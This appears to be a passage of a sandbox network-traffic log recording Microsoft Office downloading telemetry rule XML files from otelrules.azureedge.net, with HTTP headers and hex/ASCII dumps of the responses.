2024-12-02 03:59:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:19 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 97ca64ed-201e-000c-5e6e-4379c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035919Z-174f7845968n2hr8hC1EWR9cag00000013h000000000ar29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:19 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:19 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 64c010c7-b01e-003e-2ea1-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035919Z-174f7845968psccphC1EWRuz9s000000144000000000b7zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:19 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:19 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035920Z-174f7845968swgbqhC1EWRmnb4000000142g000000006w8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:20 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:20 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 357a15c2-f01e-001f-47c7-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035920Z-174f7845968px8v7hC1EWR08ng000000142g00000000h4pe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:20 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:21 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:21 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b5b05efe-701e-0001-4ea6-43b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035921Z-174f7845968xr5c2hC1EWRd0hn0000000npg00000000g5qc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:21 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:21 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:21 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 87286592-701e-0053-7b27-443a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035921Z-174f78459685m244hC1EWRgp2c00000013r000000000av5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:21 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:22 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:22 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 77084b97-401e-0015-43af-420e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035922Z-174f7845968vqt9xhC1EWRgten00000013w000000000gy43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:22 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:22 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:22 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 205353cd-201e-006e-0bb2-42bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035922Z-174f78459684db9fhC1EWRc7g40000000400000000001q5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:22 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:23 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1cfa5ca7-601e-000d-64b2-422618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035923Z-174f7845968vqt9xhC1EWRgten00000013yg000000008hhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:23 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:23 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: b8dd1d48-d01e-005a-01dc-437fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035923Z-174f7845968jrjrxhC1EWRmmrs00000013yg00000000ftx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:24 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:23 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:23 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a7f5da2f-b01e-0070-7a69-431cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035923Z-174f7845968vqt9xhC1EWRgten00000013y000000000aqsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:24 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:24 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:24 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2df421c-b01e-0021-5593-43cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035924Z-174f7845968j6t2phC1EWRcfe8000000140g00000000db2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
